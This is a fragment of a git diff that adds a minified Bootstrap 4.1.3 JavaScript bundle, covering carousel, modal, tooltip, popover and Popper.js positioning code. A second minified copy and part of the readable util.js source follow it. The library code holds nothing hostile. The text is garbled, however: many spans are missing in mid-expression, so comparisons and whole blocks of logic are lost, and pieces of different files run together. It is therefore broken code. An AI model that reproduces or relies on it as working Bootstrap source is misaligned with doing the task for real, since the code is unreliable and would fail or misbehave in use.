+ +`; + return html; +} \ No newline at end of file diff --git a/js/bootstrap/bootstrap.bundle.min.js b/js/bootstrap/bootstrap.bundle.min.js new file mode 100644 index 0000000..72a46cf --- /dev/null +++ b/js/bootstrap/bootstrap.bundle.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.3 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],t):t(e.bootstrap={},e.jQuery)}(this,function(e,t){"use strict";function i(e,t){for(var n=0;nthis._items.length-1||e<0))if(this._isSliding)k(this._element).one(q.SLID,function(){return t.to(e)});else{if(n===e)return this.pause(),void this.cycle();var i=n=i.clientWidth&&n>=i.clientHeight}),u=0l[e]&&!i.escapeWithReference&&(n=Math.min(u[t],l[e]-("right"===e?u.width:u.height))),Ve({},t,n)}};return c.forEach(function(e){var t=-1!==["left","top"].indexOf(e)?"primary":"secondary";u=ze({},u,f[t](e))}),e.offsets.popper=u,e},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,n=t.popper,i=t.reference,r=e.placement.split("-")[0],o=Math.floor,s=-1!==["top","bottom"].indexOf(r),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]o(i[a])&&(e.offsets.popper[l]=o(i[a])),e}},arrow:{order:500,enabled:!0,fn:function(e,t){var n;if(!pt(e.instance.modifiers,"arrow","keepTogether"))return e;var i=t.element;if("string"==typeof i){if(!(i=e.instance.popper.querySelector(i)))return e}else if(!e.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),e;var r=e.placement.split("-")[0],o=e.offsets,s=o.popper,a=o.reference,l=-1!==["left","right"].indexOf(r),c=l?"height":"width",u=l?"Top":"Left",f=u.toLowerCase(),h=l?"left":"top",d=l?"bottom":"right",p=nt(i)[c];a[d]-ps[d]&&(e.offsets.popper[f]+=a[f]+p-s[d]),e.offsets.popper=Ge(e.offsets.popper);var m=a[f]+a[c]/2-p/2,g=Pe(e.instance.popper),_=parseFloat(g["margin"+u],10),v=parseFloat(g["border"+u+"Width"],10),y=m-e.offsets.popper[f]-_-v;return y=Math.max(Math.min(s[c]-p,y),0),e.arrowElement=i,e.offsets.arrow=(Ve(n={},f,Math.round(y)),Ve(n,h,""),n),e},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,m){if(at(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var g=$e(p.instance.popper,p.instance.reference,m.padding,m.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=it(_),y=p.placement.split("-")[1]||"",E=[];switch(m.behavior){case vt:E=[_,v];break;case yt:E=_t(_);break;case Et:E=_t(_,!0);break;default:E=m.behavior}return E.forEach(function(e,t){if(_!==e||E.length===t+1)return p;_=p.placement.split("-")[0],v=it(_);var n,i=p.offsets.popper,r=p.offsets.reference,o=Math.floor,s="left"===_&&o(i.right)>o(r.left)||"right"===_&&o(i.left)o(r.top)||"bottom"===_&&o(i.top)o(g.right),c=o(i.top)o(g.bottom),f="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&u,h=-1!==["top","bottom"].indexOf(_),d=!!m.flipVariations&&(h&&"start"===y&&a||h&&"end"===y&&l||!h&&"start"===y&&c||!h&&"end"===y&&u);(s||f||d)&&(p.flipped=!0,(s||f)&&(_=E[t+1]),d&&(y="end"===(n=y)?"start":"start"===n?"end":n),p.placement=_+(y?"-"+y:""),p.offsets.popper=ze({},p.offsets.popper,rt(p.instance.popper,p.offsets.reference,p.placement)),p=st(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,n=t.split("-")[0],i=e.offsets,r=i.popper,o=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return r[s?"left":"top"]=o[n]-(a?r[s?"width":"height"]:0),e.placement=it(t),e.offsets.popper=Ge(r),e}},hide:{order:800,enabled:!0,fn:function(e){if(!pt(e.instance.modifiers,"hide","preventOverflow"))return e;var t=e.offsets.reference,n=ot(e.instance.modifiers,function(e){return"preventOverflow"===e.name}).boundaries;if(t.bottomn.right||t.top>n.bottom||t.rightdocument.documentElement.clientHeight;!this._isBodyOverflowing&&e&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!e&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var e=document.body.getBoundingClientRect();this._isBodyOverflowing=e.left+e.right
',trigger:"hover focus",title:"",delay:0,html:!(An={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(Dn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},Nn="out",kn={HIDE:"hide"+wn,HIDDEN:"hidden"+wn,SHOW:(On="show")+wn,SHOWN:"shown"+wn,INSERTED:"inserted"+wn,CLICK:"click"+wn,FOCUSIN:"focusin"+wn,FOCUSOUT:"focusout"+wn,MOUSEENTER:"mouseenter"+wn,MOUSELEAVE:"mouseleave"+wn},xn="fade",Pn="show",Ln=".tooltip-inner",jn=".arrow",Hn="hover",Mn="focus",Fn="click",Wn="manual",Rn=function(){function i(e,t){if("undefined"==typeof Ct)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=e,this.config=this._getConfig(t),this.tip=null,this._setListeners()}var e=i.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(e){if(this._isEnabled)if(e){var t=this.constructor.DATA_KEY,n=yn(e.currentTarget).data(t);n||(n=new this.constructor(e.currentTarget,this._getDelegateConfig()),yn(e.currentTarget).data(t,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(yn(this.getTipElement()).hasClass(Pn))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),yn.removeData(this.element,this.constructor.DATA_KEY),yn(this.element).off(this.constructor.EVENT_KEY),yn(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&yn(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var t=this;if("none"===yn(this.element).css("display"))throw new Error("Please use show on visible elements");var e=yn.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){yn(this.element).trigger(e);var n=yn.contains(this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=we.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&yn(i).addClass(xn);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:yn(document).find(this.config.container);yn(i).data(this.constructor.DATA_KEY,this),yn.contains(this.element.ownerDocument.documentElement,this.tip)||yn(i).appendTo(a),yn(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new Ct(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:jn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(e){e.originalPlacement!==e.placement&&t._handlePopperPlacementChange(e)},onUpdate:function(e){t._handlePopperPlacementChange(e)}}),yn(i).addClass(Pn),"ontouchstart"in document.documentElement&&yn(document.body).children().on("mouseover",null,yn.noop);var l=function(){t.config.animation&&t._fixTransition();var e=t._hoverState;t._hoverState=null,yn(t.element).trigger(t.constructor.Event.SHOWN),e===Nn&&t._leave(null,t)};if(yn(this.tip).hasClass(xn)){var c=we.getTransitionDurationFromElement(this.tip);yn(this.tip).one(we.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},e.hide=function(e){var t=this,n=this.getTipElement(),i=yn.Event(this.constructor.Event.HIDE),r=function(){t._hoverState!==On&&n.parentNode&&n.parentNode.removeChild(n),t._cleanTipClass(),t.element.removeAttribute("aria-describedby"),yn(t.element).trigger(t.constructor.Event.HIDDEN),null!==t._popper&&t._popper.destroy(),e&&e()};if(yn(this.element).trigger(i),!i.isDefaultPrevented()){if(yn(n).removeClass(Pn),"ontouchstart"in document.documentElement&&yn(document.body).children().off("mouseover",null,yn.noop),this._activeTrigger[Fn]=!1,this._activeTrigger[Mn]=!1,this._activeTrigger[Hn]=!1,yn(this.tip).hasClass(xn)){var o=we.getTransitionDurationFromElement(n);yn(n).one(we.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},e.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},e.isWithContent=function(){return Boolean(this.getTitle())},e.addAttachmentClass=function(e){yn(this.getTipElement()).addClass(Tn+"-"+e)},e.getTipElement=function(){return this.tip=this.tip||yn(this.config.template)[0],this.tip},e.setContent=function(){var e=this.getTipElement();this.setElementContent(yn(e.querySelectorAll(Ln)),this.getTitle()),yn(e).removeClass(xn+" "+Pn)},e.setElementContent=function(e,t){var n=this.config.html;"object"==typeof t&&(t.nodeType||t.jquery)?n?yn(t).parent().is(e)||e.empty().append(t):e.text(yn(t).text()):e[n?"html":"text"](t)},e.getTitle=function(){var e=this.element.getAttribute("data-original-title");return e||(e="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),e},e._getAttachment=function(e){return An[e.toUpperCase()]},e._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(e){if("click"===e)yn(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(e){return i.toggle(e)});else if(e!==Wn){var t=e===Hn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=e===Hn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;yn(i.element).on(t,i.config.selector,function(e){return i._enter(e)}).on(n,i.config.selector,function(e){return i._leave(e)})}yn(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},e._fixTitle=function(){var e=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==e)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},e._enter=function(e,t){var n=this.constructor.DATA_KEY;(t=t||yn(e.currentTarget).data(n))||(t=new this.constructor(e.currentTarget,this._getDelegateConfig()),yn(e.currentTarget).data(n,t)),e&&(t._activeTrigger["focusin"===e.type?Mn:Hn]=!0),yn(t.getTipElement()).hasClass(Pn)||t._hoverState===On?t._hoverState=On:(clearTimeout(t._timeout),t._hoverState=On,t.config.delay&&t.config.delay.show?t._timeout=setTimeout(function(){t._hoverState===On&&t.show()},t.config.delay.show):t.show())},e._leave=function(e,t){var n=this.constructor.DATA_KEY;(t=t||yn(e.currentTarget).data(n))||(t=new this.constructor(e.currentTarget,this._getDelegateConfig()),yn(e.currentTarget).data(n,t)),e&&(t._activeTrigger["focusout"===e.type?Mn:Hn]=!1),t._isWithActiveTrigger()||(clearTimeout(t._timeout),t._hoverState=Nn,t.config.delay&&t.config.delay.hide?t._timeout=setTimeout(function(){t._hoverState===Nn&&t.hide()},t.config.delay.hide):t.hide())},e._isWithActiveTrigger=function(){for(var e in this._activeTrigger)if(this._activeTrigger[e])return!0;return!1},e._getConfig=function(e){return"number"==typeof(e=l({},this.constructor.Default,yn(this.element).data(),"object"==typeof e&&e?e:{})).delay&&(e.delay={show:e.delay,hide:e.delay}),"number"==typeof e.title&&(e.title=e.title.toString()),"number"==typeof e.content&&(e.content=e.content.toString()),we.typeCheckConfig(En,e,this.constructor.DefaultType),e},e._getDelegateConfig=function(){var e={};if(this.config)for(var t in this.config)this.constructor.Default[t]!==this.config[t]&&(e[t]=this.config[t]);return e},e._cleanTipClass=function(){var e=yn(this.getTipElement()),t=e.attr("class").match(Sn);null!==t&&t.length&&e.removeClass(t.join(""))},e._handlePopperPlacementChange=function(e){var t=e.instance;this.tip=t.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(e.placement))},e._fixTransition=function(){var e=this.getTipElement(),t=this.config.animation;null===e.getAttribute("x-placement")&&(yn(e).removeClass(xn),this.config.animation=!1,this.hide(),this.show(),this.config.animation=t)},i._jQueryInterface=function(n){return this.each(function(){var e=yn(this).data(bn),t="object"==typeof n&&n;if((e||!/dispose|hide/.test(n))&&(e||(e=new i(this,t),yn(this).data(bn,e)),"string"==typeof n)){if("undefined"==typeof e[n])throw new TypeError('No method named "'+n+'"');e[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return In}},{key:"NAME",get:function(){return En}},{key:"DATA_KEY",get:function(){return bn}},{key:"Event",get:function(){return kn}},{key:"EVENT_KEY",get:function(){return wn}},{key:"DefaultType",get:function(){return Dn}}]),i}(),yn.fn[En]=Rn._jQueryInterface,yn.fn[En].Constructor=Rn,yn.fn[En].noConflict=function(){return yn.fn[En]=Cn,Rn._jQueryInterface},Rn),Qi=(Bn="popover",Kn="."+(qn="bs.popover"),Qn=(Un=t).fn[Bn],Yn="bs-popover",Vn=new RegExp("(^|\\s)"+Yn+"\\S+","g"),zn=l({},Ki.Default,{placement:"right",trigger:"click",content:"",template:''}),Gn=l({},Ki.DefaultType,{content:"(string|element|function)"}),Jn="fade",Xn=".popover-header",$n=".popover-body",ei={HIDE:"hide"+Kn,HIDDEN:"hidden"+Kn,SHOW:(Zn="show")+Kn,SHOWN:"shown"+Kn,INSERTED:"inserted"+Kn,CLICK:"click"+Kn,FOCUSIN:"focusin"+Kn,FOCUSOUT:"focusout"+Kn,MOUSEENTER:"mouseenter"+Kn,MOUSELEAVE:"mouseleave"+Kn},ti=function(e){var t,n;function i(){return e.apply(this,arguments)||this}n=e,(t=i).prototype=Object.create(n.prototype),(t.prototype.constructor=t).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(e){Un(this.getTipElement()).addClass(Yn+"-"+e)},r.getTipElement=function(){return this.tip=this.tip||Un(this.config.template)[0],this.tip},r.setContent=function(){var e=Un(this.getTipElement());this.setElementContent(e.find(Xn),this.getTitle());var t=this._getContent();"function"==typeof t&&(t=t.call(this.element)),this.setElementContent(e.find($n),t),e.removeClass(Jn+" "+Zn)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var e=Un(this.getTipElement()),t=e.attr("class").match(Vn);null!==t&&0=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||ethis._items.length-1||t<0))if(this._isSliding)P(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=ndocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right
',trigger:"hover focus",title:"",delay:0,html:!(Ie={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(Se={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},we="out",Ne={HIDE:"hide"+Ee,HIDDEN:"hidden"+Ee,SHOW:(De="show")+Ee,SHOWN:"shown"+Ee,INSERTED:"inserted"+Ee,CLICK:"click"+Ee,FOCUSIN:"focusin"+Ee,FOCUSOUT:"focusout"+Ee,MOUSEENTER:"mouseenter"+Ee,MOUSELEAVE:"mouseleave"+Ee},Oe="fade",ke="show",Pe=".tooltip-inner",je=".arrow",He="hover",Le="focus",Re="click",xe="manual",We=function(){function i(t,e){if("undefined"==typeof h)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=pe(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(pe(this.getTipElement()).hasClass(ke))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),pe.removeData(this.element,this.constructor.DATA_KEY),pe(this.element).off(this.constructor.EVENT_KEY),pe(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&pe(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===pe(this.element).css("display"))throw new Error("Please use show on visible elements");var t=pe.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){pe(this.element).trigger(t);var n=pe.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=Fn.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&pe(i).addClass(Oe);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:pe(document).find(this.config.container);pe(i).data(this.constructor.DATA_KEY,this),pe.contains(this.element.ownerDocument.documentElement,this.tip)||pe(i).appendTo(a),pe(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new h(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:je},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),pe(i).addClass(ke),"ontouchstart"in document.documentElement&&pe(document.body).children().on("mouseover",null,pe.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,pe(e.element).trigger(e.constructor.Event.SHOWN),t===we&&e._leave(null,e)};if(pe(this.tip).hasClass(Oe)){var c=Fn.getTransitionDurationFromElement(this.tip);pe(this.tip).one(Fn.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=pe.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==De&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),pe(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(pe(this.element).trigger(i),!i.isDefaultPrevented()){if(pe(n).removeClass(ke),"ontouchstart"in document.documentElement&&pe(document.body).children().off("mouseover",null,pe.noop),this._activeTrigger[Re]=!1,this._activeTrigger[Le]=!1,this._activeTrigger[He]=!1,pe(this.tip).hasClass(Oe)){var o=Fn.getTransitionDurationFromElement(n);pe(n).one(Fn.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){pe(this.getTipElement()).addClass(Te+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||pe(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(pe(t.querySelectorAll(Pe)),this.getTitle()),pe(t).removeClass(Oe+" "+ke)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?pe(e).parent().is(t)||t.empty().append(e):t.text(pe(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return Ie[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)pe(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==xe){var e=t===He?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===He?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;pe(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}pe(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||pe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Le:He]=!0),pe(e.getTipElement()).hasClass(ke)||e._hoverState===De?e._hoverState=De:(clearTimeout(e._timeout),e._hoverState=De,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===De&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||pe(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),pe(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Le:He]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=we,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===we&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=l({},this.constructor.Default,pe(this.element).data(),"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),Fn.typeCheckConfig(ve,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=pe(this.getTipElement()),e=t.attr("class").match(be);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instance;this.tip=e.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(pe(t).removeClass(Oe),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=pe(this).data(ye),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),pe(this).data(ye,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return Ae}},{key:"NAME",get:function(){return ve}},{key:"DATA_KEY",get:function(){return ye}},{key:"Event",get:function(){return Ne}},{key:"EVENT_KEY",get:function(){return Ee}},{key:"DefaultType",get:function(){return Se}}]),i}(),pe.fn[ve]=We._jQueryInterface,pe.fn[ve].Constructor=We,pe.fn[ve].noConflict=function(){return pe.fn[ve]=Ce,We._jQueryInterface},We),Jn=(qe="popover",Ke="."+(Fe="bs.popover"),Me=(Ue=e).fn[qe],Qe="bs-popover",Be=new RegExp("(^|\\s)"+Qe+"\\S+","g"),Ve=l({},zn.Default,{placement:"right",trigger:"click",content:"",template:''}),Ye=l({},zn.DefaultType,{content:"(string|element|function)"}),ze="fade",Ze=".popover-header",Ge=".popover-body",$e={HIDE:"hide"+Ke,HIDDEN:"hidden"+Ke,SHOW:(Je="show")+Ke,SHOWN:"shown"+Ke,INSERTED:"inserted"+Ke,CLICK:"click"+Ke,FOCUSIN:"focusin"+Ke,FOCUSOUT:"focusout"+Ke,MOUSEENTER:"mouseenter"+Ke,MOUSELEAVE:"mouseleave"+Ke},Xe=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){Ue(this.getTipElement()).addClass(Qe+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||Ue(this.config.template)[0],this.tip},r.setContent=function(){var t=Ue(this.getTipElement());this.setElementContent(t.find(Ze),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Ge),e),t.removeClass(ze+" "+Je)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=Ue(this.getTipElement()),e=t.attr("class").match(Be);null!==e&&0=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t {\n called = true\n })\n\n setTimeout(() => {\n if (!called) {\n Util.triggerTransitionEnd(this)\n }\n }, duration)\n\n return this\n}\n\nfunction setTransitionEndSupport() {\n $.fn.emulateTransitionEnd = transitionEndEmulator\n $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n}\n\n/**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\nconst Util = {\n TRANSITION_END: 'bsTransitionEnd',\n\n getUID(prefix) {\n do {\n // eslint-disable-next-line no-bitwise\n prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n } while (document.getElementById(prefix))\n return prefix\n },\n\n getSelectorFromElement(element) {\n let selector = element.getAttribute('data-target')\n\n if (!selector || selector === '#') {\n const hrefAttr = element.getAttribute('href')\n selector = hrefAttr && hrefAttr !== '#' ? hrefAttr.trim() : ''\n }\n\n try {\n return document.querySelector(selector) ? selector : null\n } catch (err) {\n return null\n }\n },\n\n getTransitionDurationFromElement(element) {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let transitionDuration = $(element).css('transition-duration')\n let transitionDelay = $(element).css('transition-delay')\n\n const floatTransitionDuration = parseFloat(transitionDuration)\n const floatTransitionDelay = parseFloat(transitionDelay)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration && !floatTransitionDelay) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n transitionDelay = transitionDelay.split(',')[0]\n\n return (parseFloat(transitionDuration) + parseFloat(transitionDelay)) * MILLISECONDS_MULTIPLIER\n },\n\n reflow(element) {\n return element.offsetHeight\n },\n\n triggerTransitionEnd(element) {\n $(element).trigger(TRANSITION_END)\n },\n\n // TODO: Remove in v5\n supportsTransitionEnd() {\n return Boolean(TRANSITION_END)\n },\n\n isElement(obj) {\n return (obj[0] || obj).nodeType\n },\n\n typeCheckConfig(componentName, config, configTypes) {\n for (const property in configTypes) {\n if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = value && Util.isElement(value)\n ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new Error(\n `${componentName.toUpperCase()}: ` +\n `Option \"${property}\" provided type \"${valueType}\" ` +\n `but expected type \"${expectedTypes}\".`)\n }\n }\n }\n },\n\n findShadowRoot(element) {\n if (!document.documentElement.attachShadow) {\n return null\n }\n\n // Can find the shadow root otherwise it'll return the document\n if (typeof element.getRootNode === 'function') {\n const root = element.getRootNode()\n return root instanceof ShadowRoot ? root : null\n }\n\n if (element instanceof ShadowRoot) {\n return element\n }\n\n // when we don't find a shadow root\n if (!element.parentNode) {\n return null\n }\n\n return Util.findShadowRoot(element.parentNode)\n },\n\n jQueryDetection() {\n if (typeof $ === 'undefined') {\n throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n }\n\n const version = $.fn.jquery.split(' ')[0].split('.')\n const minMajor = 1\n const ltMajor = 2\n const minMinor = 9\n const minPatch = 1\n const maxMajor = 4\n\n if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) 